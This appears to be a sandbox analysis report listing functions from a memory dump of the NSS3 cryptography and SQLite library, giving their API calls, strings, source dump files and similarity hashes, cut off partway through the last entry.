Function 6C66BCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C80AAF9,?), ref: 6C66BE37

Strings

winFileSize, xrefs: 6C66BF07
P~l, xrefs: 6C66BED4
~l, xrefs: 6C66BDD7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: ~l$P~l$winFileSize
API String ID: 4246442610-2860370152
Opcode ID: 6704e4df82dc88783b13339cf807c4f0b67a1495b23c6553cd9e39e112f529a9
Instruction ID: bccf26c17e0c64afa6a5a77271b5102388cb1878b45068e2081e0d287a02690e
Opcode Fuzzy Hash: 6704e4df82dc88783b13339cf807c4f0b67a1495b23c6553cd9e39e112f529a9
Instruction Fuzzy Hash: 5161AD71A04605EFCB04CF2AC5946A9B7F1FF8A308B048665E8158BF40D730E816DBDA

Function 6C677C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C677D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C677D13, 6C677D1F, 6C677D47, 6C677D53, 6C677D5F
database corruption, xrefs: 6C677D29
%s at line %d of [%.10s], xrefs: 6C677D2E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a41e870619c7e209b2a2208c015756cd6f45819ff5aaaa2003378ab0599b5645
Instruction ID: b824280d2a1a60686538f81f403f0e38dc119b02b8fc0d437b076a3da28af3e6
Opcode Fuzzy Hash: a41e870619c7e209b2a2208c015756cd6f45819ff5aaaa2003378ab0599b5645
Instruction Fuzzy Hash: 40314831E042299BC721CF9DC9809FEBBF2EF48709B59099AE445B7B81D270D841C7B8

Function 6C666C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C666D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C666D20
database corruption, xrefs: 6C666D2A
%s at line %d of [%.10s], xrefs: 6C666D2F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8ae99b6c6379d884fabe7aef502c4ea28e2af1b9fc84373bfac2b09c1495cad3
Instruction ID: 6edcd5b8eefae828105a4b5ea68b0f59f61cfd26df607d7e1b5d621b702fd684
Opcode Fuzzy Hash: 8ae99b6c6379d884fabe7aef502c4ea28e2af1b9fc84373bfac2b09c1495cad3
Instruction Fuzzy Hash: 4321F4716043059BC710CF1AE841B9AB7F5AF85318F24892CD8499BF51E371F944C7EA

Function 6C742FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+tl,6C7432C2,<+tl,00000000,00000000,?), ref: 6C742FDA

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C74300B

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C74302A

Part of subcall function 6C730840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7308B4

Part of subcall function 6C71C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C71C45D
Part of subcall function 6C71C3D0: TlsGetValue.KERNEL32 ref: 6C71C494
Part of subcall function 6C71C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C71C4A9
Part of subcall function 6C71C3D0: PR_Unlock.NSS3(?), ref: 6C71C4F4

Strings

<+tl, xrefs: 6C742FD0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+tl
API String ID: 2538134263-2700517509
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 732f0a44e32a09392051d0aff3dcc66ed41eeaef77a273b5853bd939cf1514aa
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 0D11E7B7B001046BDB008E65DD04A9B77DA9B84269F198234E81CD7791E772ED15C7A1

Function 6C79CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C79CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C79CC7B), ref: 6C79CD7A
Part of subcall function 6C79CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C79CD8E
Part of subcall function 6C79CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C79CDA5
Part of subcall function 6C79CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C79CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C79CCB5
memcpy.VCRUNTIME140(6C8314F4,6C8302AC,00000090), ref: 6C79CCD3
memcpy.VCRUNTIME140(6C831588,6C8302AC,00000090), ref: 6C79CD2B

Part of subcall function 6C6B9AC0: socket.WSOCK32(?,00000017,6C6B99BE), ref: 6C6B9AE6
Part of subcall function 6C6B9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6B99BE), ref: 6C6B9AFC

Part of subcall function 6C6C0590: closesocket.WSOCK32(6C6B9A8F,?,?,6C6B9A8F,00000000), ref: 6C6C0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C79CCB0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 99d3f6fcda988198f4d70bfb78926361f3973c877690b7bd78308103eca6cfb1
Instruction ID: 0a4451f69e9e552ed818795dd78532d066152ae39ba80e829c52826d842a5672
Opcode Fuzzy Hash: 99d3f6fcda988198f4d70bfb78926361f3973c877690b7bd78308103eca6cfb1
Instruction Fuzzy Hash: 121130F2B042505EDB309BE99A4B7423AA8934AB1DF143C39E50E8BB51E771C404C7E6

Function 6C667F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6681DF
LeaveCriticalSection.KERNEL32(?), ref: 6C668239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C668255
sqlite3_free.NSS3(00000000), ref: 6C668260

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 4db63c5efe6a13da56eb793ff02a420b860fd112dc327062c892fcc35810f514
Instruction ID: 01fc14b4a3e53b9c13edefc0318e529dd0c4e04cf4db2045d04fb8d45be9a8f9
Opcode Fuzzy Hash: 4db63c5efe6a13da56eb793ff02a420b860fd112dc327062c892fcc35810f514
Instruction Fuzzy Hash: 50919F31A012488BDF24CFF2D9587EDBBB1BF4A309F14443AD41A9BA60D7395945CBCA

Function 6C741D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C741D8F

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C741DA6

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C741E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C741ED0

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 4391a93d6edcc6075442f1ef68352a899d70ea9db134283f5e4c91c8be15362a
Instruction ID: 6650b38f11f6b6bbc6b0f7cbe1ad8366e7dbf5ef93a6a84bdcb99db5be61a8db
Opcode Fuzzy Hash: 4391a93d6edcc6075442f1ef68352a899d70ea9db134283f5e4c91c8be15362a
Instruction Fuzzy Hash: E3519A75A00319CFDB10DF98C988BAEB7BABF48309F148128E8199F351D731E955CB80

Function 6C794FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C6785D2,00000000,?,?), ref: 6C794FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C79500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7950C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7950D6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 1f49e9d8569518a4dca4e843cb9f30f48cce43806d2aa7d58fc886b1686c17cb
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 6D4176B2A402158FCB18CF28ECD179AB7E1BF44319B1D466DD84ACB702E775E891CB91

Function 6C6BFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C6BFDFE), ref: 6C6BFFAD

Part of subcall function 6C65CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6BF9C9,?,6C6BF4DA,6C6BF9C9,?,?,6C68369A), ref: 6C65CA7A
Part of subcall function 6C65CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C65CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C6BFDFE), ref: 6C6BFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C6BFDFE), ref: 6C6C001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C6BFDFE), ref: 6C6C006F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 0eaf35de26cbc30712a5d4ee36a9006faefbf4fba9285eace69216d137e482bb
Instruction ID: 529b4f17756fc206686220e9b655168b8311fe06a1ee82a5e9eec329a779dba9
Opcode Fuzzy Hash: 0eaf35de26cbc30712a5d4ee36a9006faefbf4fba9285eace69216d137e482bb
Instruction Fuzzy Hash: CE41D1B1B002059FDF18DFA4D989AAEB775FF89319F044439D80693B01DB399901CBE6

Function 6C743D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6C74127F,?), ref: 6C743D89

Part of subcall function 6C7406F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C742E70,00000000), ref: 6C740701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6C743DD3

Part of subcall function 6C7307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6D8298,?,?,?,6C6CFCE5,?), ref: 6C7307BF
Part of subcall function 6C7307B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7307E6
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C73081B
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C730825

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 88ee7d0975c52ef197deb0e1e89175e92858445d281b3d1f706a811d194008b5
Instruction ID: f0eb5bd5c8b4181fdcd088c65383b55f7036d58f13da7229b0ff10d7658c3c54
Opcode Fuzzy Hash: 88ee7d0975c52ef197deb0e1e89175e92858445d281b3d1f706a811d194008b5
Instruction Fuzzy Hash: 6431E235A0753497EB1486699B45F697258AB4136CF28C63ADF3D87FC1EB21E8408BC2

Function 6C7A7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7A7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C7A7ED8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 6eb067228d59b26769b576ce4780a3ac77e7ef2d9bf72a0e0d4b01de45e4d7fe
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 8731D7B2A002158FD704CF08CD9489AB7E6FF88314B1B8679D8095B715EB71EC46CBD1

Function 6C75DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6FAE42), ref: 6C6E30AA
Part of subcall function 6C6E3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E30C7
Part of subcall function 6C6E3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6E30E5
Part of subcall function 6C6E3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6E3116
Part of subcall function 6C6E3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6E312B
Part of subcall function 6C6E3090: PK11_DestroyObject.NSS3(?,?), ref: 6C6E3154
Part of subcall function 6C6E3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6E317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C75DBBD), ref: 6C75DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C75DFEE

Part of subcall function 6C6F86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F8716
Part of subcall function 6C6F86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6F8727
Part of subcall function 6C6F86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6F873B
Part of subcall function 6C6F86D0: PR_Unlock.NSS3(?), ref: 6C6F876F
Part of subcall function 6C6F86D0: PR_SetError.NSS3(00000000,00000000), ref: 6C6F8787

Part of subcall function 6C71F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C71F854
Part of subcall function 6C71F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C71F868
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C71F882
Part of subcall function 6C71F820: free.MOZGLUE(04C483FF,?,?), ref: 6C71F889
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C71F8A4
Part of subcall function 6C71F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C71F8AB
Part of subcall function 6C71F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C71F8C9
Part of subcall function 6C71F820: free.MOZGLUE(280F10EC,?,?), ref: 6C71F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C75DBBD), ref: 6C75DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C75DBBD), ref: 6C75E007

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: dc501f9186b0d36d578fea009961530345a1d35547bb6c9425962c03d666b113
Instruction ID: f8875cf0eaadefa95ed2aa82a993a6badbbc6419ca99fd03a6ac5ab9b47c0a6a
Opcode Fuzzy Hash: dc501f9186b0d36d578fea009961530345a1d35547bb6c9425962c03d666b113
Instruction Fuzzy Hash: A4314DB1A0420157D7009A79AF88A9B73B89F6530CF440135E919C7B52FF32D529C3E6

Function 6C742C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6C741289,?), ref: 6C742D72

Part of subcall function 6C743390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6C742CA7,E80C76FF,?,6C741289,?), ref: 6C7433E9
Part of subcall function 6C743390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6C74342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C741289,?), ref: 6C742D61

Part of subcall function 6C740B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C740B21
Part of subcall function 6C740B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C740B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6C741289,?), ref: 6C742D88
